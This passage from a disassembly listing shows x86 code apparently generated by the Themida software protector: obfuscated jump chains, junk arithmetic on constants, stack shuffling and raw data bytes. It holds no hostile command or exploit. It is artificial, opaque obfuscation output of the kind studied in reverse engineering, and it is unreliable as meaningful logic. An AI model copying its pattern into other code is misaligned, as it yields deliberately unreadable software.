		mov	ebx, 6E9E3B25h
		xor	[esp+4], ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		pop	eax
		push	esi
		mov	esi, 4A0011F2h
		jmp	loc_54C18B
; ---------------------------------------------------------------------------
		dd 875C8858h, 241C8B01h, 0FF4FB7E9h, 0E9D2F7FFh, 0FFFF9FBAh
		dd 24048B66h, 9779E955h, 0E955FFFFh, 0FFFFD10Bh, 6970E2B8h
		dd 0B349E97Fh, 248BFFFFh, 685124h, 0FF000000h
		db 34h,	24h, 59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_549964
; ---------------------------------------------------------------------------

loc_54FE3F:				; CODE XREF: Themida_:00550608j
		push	esi
		push	ebp
		sub	dword ptr [esp], 1ED814CFh
		mov	esi, [esp]
		jmp	loc_547826
; ---------------------------------------------------------------------------
		dd 0E95BDD01h, 0FFFF9570h, 5D2434FFh, 0FF99FBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54FE61:				; CODE XREF: Themida_:0054AB5Ej
		or	ebp, 306B26F6h
		add	ebp, 2E6566B1h
		shr	ebp, 8
		xor	ebp, 6450A5h
		and	eax, ebp
		jmp	loc_549AEF
; ---------------------------------------------------------------------------
		db 53h,	0FFh, 74h
		dd 8F5B0424h, 665C2404h, 5456F1F7h, 0FF6084E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54FE91:				; CODE XREF: Themida_:00545BBEj
		inc	edi
		shl	edi, 2
		sub	edi, 0E986799Ch
		add	eax, 82771B4h
		add	eax, edi
		sub	eax, 82771B4h
		jmp	loc_54DC14
; ---------------------------------------------------------------------------

loc_54FEAC:				; CODE XREF: Themida_:0054A4EAj
		push	edi
		push	edx
		mov	edx, 55BE7A05h
		mov	edi, edx
		pop	edx
		push	ecx
		mov	ecx, 2A646119h
		jmp	loc_54F2FE
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 4
		dd 1000000h, 2C875AD5h,	88525C24h, 88D2F6E2h, 0E6885AD4h
		dd 0FF5CE6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54FEDD:				; CODE XREF: Themida_:0054718Ej
		pop	edi
		xor	eax, ebp
		jmp	loc_5464F3
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 4
		dd 0BE0F4E2Eh, 683E10DDh, 0FFB11DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54FEF5:				; CODE XREF: Themida_:00544B43j
		push	edi
		push	79F2207Dh
		pop	edi
		and	edx, edi
		pop	edi
		inc	edx
		add	edx, 768B3295h
		add	edx, 72A370DCh
		add	edx, 0C715CBEh
		mov	eax, edx
		jmp	loc_547C0B
; ---------------------------------------------------------------------------

loc_54FF19:				; CODE XREF: Themida_:0054D012j
		pop	edx
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		movzx	ecx, al
		jmp	loc_54D578
; ---------------------------------------------------------------------------
		db 5Bh
		dd 31241433h, 14332414h, 0D7E95C24h, 89FFFF4Bh,	8EBA2414h
		dd 81750575h, 0EE3834EAh, 8142422Ch, 0E8C2A8C2h, 8BD701B7h
		dd 0C4812414h, 4, 8702C783h, 248B243Ch,	66E9F624h, 66CCB60Fh
		dd 666EA668h, 66240C89h, 0E9C8B60Fh, 0FFFFCCABh
; ---------------------------------------------------------------------------

loc_54FF7C:				; CODE XREF: Themida_:0054CE4Ej
		xor	ebx, 2F7234D0h
		jmp	loc_545567
; ---------------------------------------------------------------------------

loc_54FF87:				; CODE XREF: Themida_:00551126j
		sub	ebp, 136D0F22h
		jmp	loc_5450A8
; ---------------------------------------------------------------------------
		dw 525Ah
		dd 306E9h
		db 0
; ---------------------------------------------------------------------------

loc_54FF99:				; CODE XREF: Themida_:00545D28j
		pop	ebp
		sub	edx, 31185C24h
		add	edx, edi
		add	edx, 31185C24h
		sub	edx, 40C135F8h
		push	dword ptr [edx]
		pop	ecx
		mov	edx, [esp]
		add	esp, 4
		push	29EBh
		mov	[esp], eax
		mov	eax, 4
		and	ecx, eax
		jmp	loc_54D2E2
; ---------------------------------------------------------------------------
		db 0FFh
		dd 34FF2434h, 2434FF24h, 8124048Bh, 4C4h, 4C48300h, 483E68h
		dd 24148900h, 0C281E289h, 4, 0E904C283h, 0FFFF8D49h
; ---------------------------------------------------------------------------

loc_54FFF8:				; CODE XREF: Themida_:00549737j
		push	1E2Fh
		mov	[esp], ecx
		jmp	loc_545D2D
; ---------------------------------------------------------------------------
		db 0B5h, 86h, 28h
		dd 240C8BE8h, 4C483h, 9895E9D8h, 1E68FFFFh, 0E9000047h
		dd 0FFFFB1F9h, 530ECD81h, 1E96AF6h
		db 53h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55002B:				; CODE XREF: Themida_:0054D59Aj
		push	eax
		jmp	loc_5493D0
; ---------------------------------------------------------------------------

loc_550031:				; CODE XREF: Themida_:005475EFj
		jmp	loc_544B12
; ---------------------------------------------------------------------------

loc_550036:				; CODE XREF: Themida_:00550789j
		sub	bl, 43h
		mov	eax, [esp]
		jmp	loc_548B03
; ---------------------------------------------------------------------------

loc_550041:				; CODE XREF: Themida_:00545236j
		mov	edx, 374860C8h
		and	edx, 1739502Bh
		jmp	loc_54CF5A
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 0A6682414h, 5400002Ch, 8124048Fh,	42404h
		dd 815A0000h, 4C2h, 0C3E95100h,	89FFFF4Eh, 28E9240Ch
		db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55007F:				; CODE XREF: Themida_:005450B3j
		sub	[esp], ebp
		pop	ebp
		neg	ebp
		jmp	loc_544C88
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 81FAE945h, 0E56BE953h, 0C681FFFFh, 4, 5C243487h, 7E7368h
		dd 24348900h, 0FF6898E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5500AD:				; CODE XREF: Themida_:00549F73j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_547E3C
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 52B562E9h, 0FF52D2E9h, 4C483FFh, 6203A5F3h, 4EC8338h
		dd 0EC9E9h
		db 0
; ---------------------------------------------------------------------------

loc_5500D1:				; CODE XREF: Themida_:0054AA39j
		push	esi
		jmp	loc_5472C5
; ---------------------------------------------------------------------------
		db 29h
		dd 34C281F2h, 0E91A8D3Bh, 0FFFFAE4Fh, 89242C89h, 20AA68E5h
		dd 3C890000h, 0E4E95524h, 0ADFFFFE9h, 62D5E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5500FE:				; CODE XREF: Themida_:00545BD6j
		mov	edx, [esp]
		push	ecx
		jmp	loc_5499C8
; ---------------------------------------------------------------------------
		db 5
		dd 4, 405h, 7808E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550116:				; CODE XREF: Themida_:0054A24Aj
		sub	ecx, esi
		pop	esi
		add	ecx, edi
		push	ebx
		mov	ebx, 3352E7Dh
		jmp	loc_54A30D
; ---------------------------------------------------------------------------
		dw 0E6C1h
		dd 27C68105h, 81243821h, 3E600BCEh, 0EBF68141h,	81DFFFE2h
		dd 0E135F6EBh, 384E93Eh, 0F660000h, 9C2404BBh, 0FF49C1E9h
		dd 0E9F828FFh, 0FFFF53F7h, 12F2EF81h, 0FD31CBDAh, 5EDC15Fh
		dd 0FF7184E9h, 0D831ADFFh, 81E18951h, 4C1h, 0BCA9E900h
		dd 0E95CFFFFh, 0FFFF9DD0h, 0FF498DE9h, 3E2CACFFh, 80E9482Ch
		dd 5CFFFF57h, 8B66F030h
		db 14h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 2
		jmp	loc_546DFC
; ---------------------------------------------------------------------------

loc_5501A7:				; CODE XREF: Themida_:00546D2Fj
		add	edx, 1BBB4E46h
		xor	edx, 27AF4E55h
		shl	edx, 5
		xor	edx, 2B491D1Bh
		jmp	loc_549663
; ---------------------------------------------------------------------------
		db 50h,	0E9h, 7Ah
		dd 5BFFFFF4h, 3936853h,	565B536Bh, 0FF8E2EE9h, 5AD501FFh
		dd 31242C33h, 2C33242Ch, 24248B24h, 9C2404FEh, 0FF4925E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5501ED:				; CODE XREF: Themida_:0054CE88j
		sub	eax, 201B5335h
		neg	eax
		shl	eax, 5
		and	eax, 4E7D291Dh
		add	eax, 0B806EAB2h
		mov	edi, eax
		mov	eax, [esp]
		add	esp, 4
		xor	edi, 6DE227B4h
		xor	eax, edi
		jmp	loc_54CC9A
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 0E1895124h, 4BA52h, 0D1010000h, 0FFD515E9h, 48E0E9FFh
		dd 0CEB3FFFFh, 0FF8581E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_550239:				; CODE XREF: Themida_:0054977Bj
		shl	edx, 1
		push	ebp
		mov	ebp, 1
		push	eax
		push	ebp
		push	edi
		mov	edi, 44CB033Ch
		jmp	loc_5491A6
; ---------------------------------------------------------------------------

loc_55024E:				; CODE XREF: Themida_:00545D2Fj
		add	ch, 0CAh
		xor	ch, 0FBh
		sub	ch, 95h
		jmp	loc_54D3BC
; ---------------------------------------------------------------------------
		dd 4244481h, 6B420432h,	4247C29h, 4246C81h, 6B420432h
		dd 24148B5Fh, 50E38953h, 0FA7A88B8h, 7A842D0Ah,	2AE90AFAh
		dd 0B8FFFFDAh, 609A7ADEh, 485FF831h, 0AF5D5D0Dh, 5FDB2D1Eh
		dd 0F3E97EEFh, 0BAFFFF9Ah, 77711983h, 0FF7C8DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5502A9:				; CODE XREF: Themida_:0054E193j
		add	ebp, esi
		sub	ebp, 712F786Ah
		mov	esi, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		div	cl
		jmp	loc_54DC5C
; ---------------------------------------------------------------------------
		db 0FFh
		dd 669D1C77h, 1CD36659h, 3BE99C24h, 5AFFFF48h, 0FFBC42E9h
		dd 0D830ACFFh, 6602EC83h, 68241C89h, 5F5Ch, 0B5240C89h
		dd 81E9521Bh, 81FFFF71h, 4ECh, 243C8900h, 0FFEE15E9h, 6A0566FFh
		dd 0E829667Ch, 7C6A2D66h, 0D0BA6652h, 0C2816606h, 0C1667017h
		dd 4A6607EAh, 15E28166h, 0C2816603h, 1661336h, 65CE9D0h
		dd 0EF800000h, 0FED7F6E5h, 0E9D7F6CFh, 0FFFFD523h, 0D6E9E189h
		dd 81FFFF65h, 9A73DEC3h, 81F3017Dh, 9A73DEEBh, 93C5E97Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55035A:				; CODE XREF: Themida_:0054560Fj
		mov	edx, 13BB59C4h
		sub	[esp+4], edx
		jmp	loc_5509D0
; ---------------------------------------------------------------------------

loc_550368:				; CODE XREF: Themida_:0054FB32j
		dec	ebx
		neg	ebx
		jmp	loc_54F2ED
; ---------------------------------------------------------------------------

loc_550370:				; CODE XREF: Themida_:00545E40j
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_546195
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 8F5A0424h, 248B2404h, 5D545524h, 4C581h, 5BE90000h
		dd 81FFFF5Bh, 0AC4BDEF6h, 63A1E94Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5503A2:				; CODE XREF: Themida_:005486F1j
		xchg	esi, [esp]
		pop	esp
		or	eax, eax
		jz	loc_549535
		push	2BDCh
		mov	[esp], edx
		push	1Ch
		pop	edx
		push	ebp
		push	ebx
		jmp	loc_5499AE
; ---------------------------------------------------------------------------

loc_5503C3:				; CODE XREF: Themida_:0054562Aj
		add	bl, 6Bh
		add	bl, 0AAh
		pop	ecx
		add	bl, al
		add	bl, 0E6h
		movzx	eax, al
		jmp	loc_54A8D5
; ---------------------------------------------------------------------------
		db 8Fh
		dd 0BBE92404h, 81FFFFBCh, 4C1h,	4C18300h, 8B240C87h, 0A30F2424h
		dd 0E99C2404h, 0FFFF471Ah, 24048B66h, 2FF268h, 243C8900h
		dd 0FFF26BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_550409:				; CODE XREF: Themida_:0054CFAAj
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_54B9FF
; ---------------------------------------------------------------------------

loc_550414:				; CODE XREF: Themida_:0054DCE0j
		and	eax, ebx
		pop	ebx
		shr	eax, 0Ah
		xor	eax, ecx
		push	54h
		mov	[esp], eax
		push	esi
		pop	eax
		mov	esi, [esp]
		add	esp, 4
		push	3854h
		mov	[esp], esi
		jmp	loc_54AD9C
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 772AE95Bh, 0CBE9FFFFh, 0C0FFFF46h, 0EB8006E3h, 5BDE8829h
		dd 0F000E304h, 5A66E32Ch, 0D72CD828h, 84B35366h, 8071C380h
		dd 31E90AC3h
		db 4Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55046B:				; CODE XREF: Themida_:0054910Cj
		pop	eax
		shr	ecx, 0Ah
		push	ebx
		jmp	loc_547C3F
; ---------------------------------------------------------------------------

loc_550475:				; CODE XREF: Themida_:0054899Fj
		add	esp, 4
		jmp	loc_54F51C
; ---------------------------------------------------------------------------

loc_550480:				; CODE XREF: Themida_:0054DFDBj
		pop	esi
		jmp	loc_54A1DA
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 2424D224h, 4680E99Ch, 0CA25FFFFh, 355D2D6Ah,	38CE2619h
		dd 8158C729h, 0A5F804F7h, 6CA0E9BCh, 0BF57FFFFh, 6392412Ch
		dd 815FFD89h, 110168CDh, 0F7F58773h, 51F587DEh,	290A57B9h
		dd 0C56CE94Fh, 0F301FFFFh, 35F6C381h, 0E95E3EE1h, 0FFFF8968h
		dd 0D744E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5504DE:				; CODE XREF: Themida_:00550CA1j
		add	eax, ecx
		jmp	loc_54B69B
; ---------------------------------------------------------------------------
		db 5Dh,	0E9h, 1Bh
		dd 89FFFFC2h, 148B2057h, 4C48124h, 68000000h, 4C13h, 68241C89h
		dd 4AB05DB6h, 81241C8Bh, 4C4h, 55EB8700h, 0FFC729E9h, 8BD801FFh
		dd 0C483241Ch, 78D96804h, 0ECE90000h, 80FFFFB0h, 0F48004F4h
		dd 0D4F48045h, 753E9h
		db 0
; ---------------------------------------------------------------------------

loc_550535:				; CODE XREF: Themida_:00545AE7j
		xchg	edi, ecx
		not	edi
		jmp	loc_54CB4B
; ---------------------------------------------------------------------------
		dw 0E268h
		dd 0E9000017h, 0FFFFD655h, 0C281E289h, 4, 4EA81h, 14870000h
		dd 7CD9E924h, 0C14EFFFFh, 0EE8105EEh, 0E60C90EFh, 815EF721h
		dd 0AC1A32C7h, 0BBC78173h, 0C11C4469h, 0E78103E7h, 1C331CF6h
		dd 47CEF81h, 61E90C10h,	83FFFF55h, 1C8704C3h, 54535C24h
		dd 5B2434FFh, 0FF687AE9h, 0AFE181FFh, 0E9762D31h, 0FFFFC17Eh
; ---------------------------------------------------------------------------

loc_5505A8:				; CODE XREF: Themida_:0054D314j
		xor	ecx, eax
		jmp	loc_54C9FF
; ---------------------------------------------------------------------------

loc_5505AF:				; CODE XREF: Themida_:00550DAFj
		add	esp, 4
		jmp	loc_54991B
; ---------------------------------------------------------------------------

loc_5505BA:				; CODE XREF: Themida_:005481D6j
		mov	ebp, 1FEE7A20h
		mov	edi, ebp
		pop	ebp
		jmp	loc_54718C
; ---------------------------------------------------------------------------
		db 89h
		dd 3AE9243Ch, 0C1FFFF73h, 0F68106EEh, 1E1C94h, 761068h
		dd 0FE57E900h, 0E954FFFFh, 0FFFF572Fh, 0E3281BAh, 0D840E972h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5505F2:				; CODE XREF: Themida_:005491B1j
		pop	edi
		shl	ebp, 5
		sub	ebp, 37D319CEh
		or	ebp, 4FAA30B8h
		sub	ebp, 0EFFB7C96h
		jmp	loc_54FE3F
; ---------------------------------------------------------------------------
		db 0ADh, 0E9h, 18h
		db 8Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550613:				; CODE XREF: Themida_:00549ED3j
		add	edi, 2
		xchg	edi, [esp]
		pop	esp
		pop	edx
		push	38FFh
		mov	[esp], ebx
		jmp	loc_54C909
; ---------------------------------------------------------------------------
		dd 76E9E189h
		db 5Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55062F:				; CODE XREF: Themida_:0054BC26j
		mov	[esp], edx
		push	edi
		push	6F7C6CEDh
		mov	edi, [esp]
		jmp	loc_54BE2E
; ---------------------------------------------------------------------------
		dd 0D8E9EB00h
		db 9Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550647:				; CODE XREF: Themida_:00549D3Fj
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		jmp	loc_544C02
; ---------------------------------------------------------------------------
		dd 2404895Ch, 0FFC9C3E9h, 0F68166FFh, 0F7660129h, 664E66DEh
		dd 0E902EEC1h, 0FFFFB78Ah
; ---------------------------------------------------------------------------

loc_550670:				; CODE XREF: Themida_:0054E88Ej
		add	edi, 79D30BACh
		add	edi, esi
		sub	edi, 79D30BACh
		pop	esi
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_54CFBB
; ---------------------------------------------------------------------------
		db 80h
		dd 0ED8031E5h, 18B4508Dh, 0E1885166h, 0FFF728E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5506A5:				; CODE XREF: Themida_:00548186j
		jmp	loc_544B12
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 2CE23733h, 6ED7E381h, 0EBC124CAh, 0A0E38104h, 0E94ED847h
		dd 0FFFF7D66h, 78E9D1F7h
		db 0D3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5506CB:				; CODE XREF: Themida_:005470CBj
		jmp	loc_544B12
; ---------------------------------------------------------------------------
		dd 0B569E95Dh, 2C81FFFFh, 0C263AD24h, 0C181593Dh, 3DC263ADh
		dd 0FF70FAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5506E9:				; CODE XREF: Themida_:00545CC1j
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_54DD05
; ---------------------------------------------------------------------------
		dd 5848E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5506FA:				; CODE XREF: Themida_:0054605Ej
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_54C8B2
; ---------------------------------------------------------------------------
		dd 2434FF5Ch, 3A046858h, 34890000h, 555E5424h, 95063FBDh
		dd 6319E971h, 0E789FFFFh, 4C781h, 0BD550000h, 4, 0ECE9EF29h
		db 91h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550737:				; CODE XREF: Themida_:00546DDAj
		add	eax, 2CCC7938h
		pop	ebp
		push	ecx
		mov	ecx, 314E7186h
		xor	ecx, 20633CF5h
		push	7E0Dh
		mov	[esp], ecx
		jmp	loc_54EE15
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 682832CEh, 0FF51E0E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_550761:				; CODE XREF: Themida_:0054A651j
		sub	bl, 1Ch
		push	eax
		mov	al, 6Fh
		push	cx
		mov	cl, 0CDh
		sub	al, cl
		pop	cx
		sub	esp, 4
		mov	[esp], ecx
		push	edx
		mov	dh, 0FDh
		mov	ch, dh
		pop	edx
		sub	ch, 0CBh
		sub	ch, 0EFh
		add	bl, ch
		pop	ecx
		add	bl, al
		jmp	loc_550036
; ---------------------------------------------------------------------------
		dw 0E6C0h
		dd 34F68004h, 8049B551h, 0F4E952F5h, 81FFFFFEh,	480D3BF6h
		dd 0E9F52963h, 0FFFF65BCh, 55E08950h, 4BDh, 5DE80100h
		dd 4EC81h, 1C890000h, 0F076E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5507C6:				; CODE XREF: Themida_:0054F80Cj
		xor	ebp, ebx
		pop	ebx
		and	eax, ebp
		mov	ebp, [esp]
		push	edi
		jmp	loc_54E877
; ---------------------------------------------------------------------------
		dd 4C18158h, 87000000h,	248B240Ch, 4EC8124h, 0E9000000h
		dd 0FFFF9FB7h, 4C481h, 515B0000h, 42474FFh, 454AE959h
		dd 835CFFFFh, 3C8702C7h, 8B665C24h, 53502404h, 0FF6397E9h
		dd 585450FFh, 21FEBF57h, 0C7816599h, 7A866521h,	6C4BC781h
		dd 0E9500562h, 0FFFFAB7Bh, 0C781E789h, 4, 0B027E955h, 3433FFFFh
		dd 24343124h, 5C243433h, 54240489h, 40558h, 0B5E90000h
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550853:				; CODE XREF: Themida_:0054F53Aj
		add	esi, edx
		add	esi, 5D4104C6h
		jmp	loc_54EEDB
; ---------------------------------------------------------------------------

loc_550860:				; CODE XREF: Themida_:0054F297j
		pop	esp
		push	1703h
		mov	[esp], edi
		mov	edi, esp
		sub	esp, 4
		jmp	loc_54BEFB
; ---------------------------------------------------------------------------

loc_550876:				; CODE XREF: Themida_:0054CE72j
		neg	esi
		shl	esi, 6
		shl	esi, 4
		xor	esi, 69B3B038h
		xor	esi, 26E27442h
		neg	esi
		dec	esi
		push	edx
		mov	edx, 0FFFFFFFFh
		sub	esi, edx
		pop	edx
		push	ebx
		mov	ebx, 71F355F2h
		sub	ebx, 2589415Ch
		shl	ebx, 4
		sub	ebx, 5E7A7722h
		add	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	eax, esi
		pop	esi
		mov	esi, eax
		mov	eax, [esp]
		jmp	loc_545578
; ---------------------------------------------------------------------------

loc_5508C3:				; CODE XREF: Themida_:00549DF5j
		sub	esi, 75577B58h
		sub	esi, ecx
		add	esi, 75577B58h
		pop	ecx
		and	eax, esi
		mov	esi, [esp]
		push	3DEFh
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_550F4D
; ---------------------------------------------------------------------------

loc_5508E6:				; CODE XREF: Themida_:0054D10Dj
		xor	eax, esi
		pop	esi
		push	38EBh
		mov	[esp], esi
		push	edi
		mov	edi, 54393FE0h
		jmp	loc_54A32A
; ---------------------------------------------------------------------------
		dd 88DAED80h, 0C0E6E9E8h, 8B66FFFFh, 5453240Ch,	0FF843DE9h
		dd 5C6859FFh, 89000009h, 1BE2434h, 21000000h, 2434FFF0h
		dd 4568535Eh, 89000075h, 4832424h, 0E95B0424h, 0FFFFAE7Eh
		dd 0E924148Bh, 0FFFFCB0Bh
; ---------------------------------------------------------------------------

loc_550940:				; CODE XREF: Themida_:0054FBC0j
		pop	edx
		jmp	loc_54D521
; ---------------------------------------------------------------------------
		dw 5350h
		dd 0E658A2BBh, 0CDCEE96Fh, 34FFFFFFh, 0C4815D24h, 4, 0FFF3F9E9h
		dd 66CC88FFh, 0A9C48059h, 48BE530h, 4C48324h, 6659EE20h
		dd 6651CA68h, 0E9240489h, 0FFFFEA90h, 31240433h, 4332404h
		dd 0E899E924h, 665AFFFFh, 0E9242C8Bh, 0FFFFAB5Fh, 0E381DBF7h
		dd 31A97119h, 0FF8421E9h, 0BCE95BFFh, 81FFFFE7h, 547FAEF1h
		dd 7E9C131h, 0FF4DD7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5509B9:				; CODE XREF: Themida_:00550D83j
		pop	ecx
		add	esp, 4
		push	ebx
		jmp	loc_54BBF4
; ---------------------------------------------------------------------------
		db 2Dh
		dd 44EE2CB3h, 0E9D8295Eh, 0FFFFE820h
; ---------------------------------------------------------------------------

loc_5509D0:				; CODE XREF: Themida_:00550363j
		pop	edx
		push	dword ptr [esp]
		jmp	loc_54D6BD
; ---------------------------------------------------------------------------

loc_5509D9:				; CODE XREF: Themida_:00546FBCj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	esp, 4
		push	517Bh
		mov	[esp], ebp
		mov	ebp, 3EEB5FB5h
		jmp	loc_548809
; ---------------------------------------------------------------------------
		db 52h,	89h, 0E2h
		dd 0FF9F7EE9h, 38B9B9FFh, 35E91938h, 0ADFFFF58h, 0FF768CE9h
		dd 58C531FFh, 89E9E801h, 80FFFF9Bh, 0B5513DE7h,	7F8FE99Eh
		dd 0A4B5FFFFh, 5159E888h, 0C181E189h, 4, 8704E983h, 895C240Ch
		dd 13B62414h, 0F700EDB7h, 0FF610BE9h, 81555DFFh, 5AA3242Ch
		dd 5584685h, 46855AA3h,	656DE95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550A66:				; CODE XREF: Themida_:00546B0Cj
		mov	[ebx], dh
		pop	edx
		pop	ebx
		jmp	loc_544B12
; ---------------------------------------------------------------------------

loc_550A6F:				; CODE XREF: Themida_:0054BE1Ej
		push	edi
		mov	edi, 1C8E6AC1h
		jmp	loc_54F9AF
; ---------------------------------------------------------------------------

loc_550A7A:				; CODE XREF: Themida_:005468EDj
		push	dword ptr [edi+1Ch]
		jmp	loc_545607
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 4C78104h, 53000000h,	7F0DAEBBh, 4EC811Eh, 0E9000000h
		dd 0FFFF8A0Fh, 0B850DAF7h, 0DDB9B842h, 0FF82EBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_550AA9:				; CODE XREF: Themida_:0054BACFj
		pop	ecx
		push	esi
		mov	esi, esp
		jmp	loc_547B7A
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 0F7B9D2EEh, 5CCEC281h, 0CA01144Ch, 5CCEEA81h, 5259144Ch
		dd 42474FFh, 0FF45C9E9h, 66D000FFh, 0BEE95A5Ah,	81FFFFE1h
		dd 4C1h, 4C18300h, 5C240C87h, 8B243487h, 8CE92424h, 8F000003h
		dd 248B2404h, 2424D224h, 4010E99Ch, 34FFFFFFh, 7384E924h
		dd 3E9FFFFh
		db 40h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550B0F:				; CODE XREF: Themida_:0054C079j
		sub	esi, 0A8DF38D3h
		push	4BFEh
		mov	[esp], esi
		push	dword ptr [esp]
		jmp	loc_546305
; ---------------------------------------------------------------------------
		db 5Ch,	66h, 8Bh
		dd 0EC832404h, 24148904h, 0B9515A54h, 62BA21C2h, 0CCB85049h
		dd 3536723Ch, 284B0EC0h, 0FF6ED6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_550B49:				; CODE XREF: Themida_:00545ACBj
		mov	eax, 0CAD525Bh
		add	eax, 3850035Eh
		jmp	loc_546596
; ---------------------------------------------------------------------------

loc_550B58:				; CODE XREF: Themida_:00549503j
		sub	dword ptr [esp], 32BE5FA8h
		pop	edx
		add	edx, 32BE5FA8h
		pop	edi
		jmp	loc_545D79
; ---------------------------------------------------------------------------

loc_550B6C:				; CODE XREF: Themida_:0054D6DBj
		xchg	eax, [esp]
		pop	esp
		jmp	loc_54854E
; ---------------------------------------------------------------------------
		db 5Dh,	83h, 0C7h
		dd 688EE902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550B7E:				; CODE XREF: Themida_:0054D885j
		neg	esi
		dec	esi
		and	esi, 1FD30056h
		neg	esi
		jmp	loc_54A234
; ---------------------------------------------------------------------------

loc_550B8E:				; CODE XREF: Themida_:0054C4BAj
		pop	esi
		push	eax
		mov	eax, 35A7339Ch
		neg	eax
		and	eax, 5A0D7F00h
		shl	eax, 3
		sub	eax, 7D119ABh
		sub	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		add	ebx, 2D7F6AB4h
		mov	ecx, [ebx]
		jmp	loc_54DA36
; ---------------------------------------------------------------------------
		dd 150D00BEh, 0F1F68135h, 311DC707h, 0EE2AE9F0h, 0ED80FFFFh
		dd 8BE80060h, 0E957240Ch, 0FFFF5939h, 0C789C889h, 588FE958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550BE6:				; CODE XREF: Themida_:00549361j
					; Themida_:0054A850j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		sub	ebp, ecx
		pop	ecx
		jmp	loc_547586
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 0FF3F0DE9h, 0C8B66FFh, 1BDE924h, 0EC810000h,	4, 0FFBEDCE9h
		dd 0BEC181FFh, 19ACFDEh, 0D70159CAh, 0FFE40AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_550C29:				; CODE XREF: Themida_:00545476j
		push	ecx
		mov	ecx, esp
		jmp	loc_54A94B
; ---------------------------------------------------------------------------

loc_550C31:				; CODE XREF: Themida_:0054EB43j
		sub	ebx, 344A7BC2h
		not	ebx
		shl	ebx, 8
		jmp	loc_549AC1
; ---------------------------------------------------------------------------
		db 66h,	31h, 3Ch
		dd 3C336624h, 58E2E924h, 0A8B2FFFFh, 0FE6AE280h, 3E2C0CAh
		dd 0C5FEEA86h, 0E4E9EA86h, 68FFFFECh, 43CDh, 81E38953h
		dd 4C3h, 4B95100h, 29000000h, 70E959CBh
		db 56h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550C7F:				; CODE XREF: Themida_:0054A95Aj
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_54EBAD
; ---------------------------------------------------------------------------
aCxfh		db 8,'ГXfh',0
		dw 2800h
		dd 3C8A243Ch, 71ECE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550C9A:				; CODE XREF: Themida_:00549940j
		inc	ecx
		add	ecx, 0DF26C307h
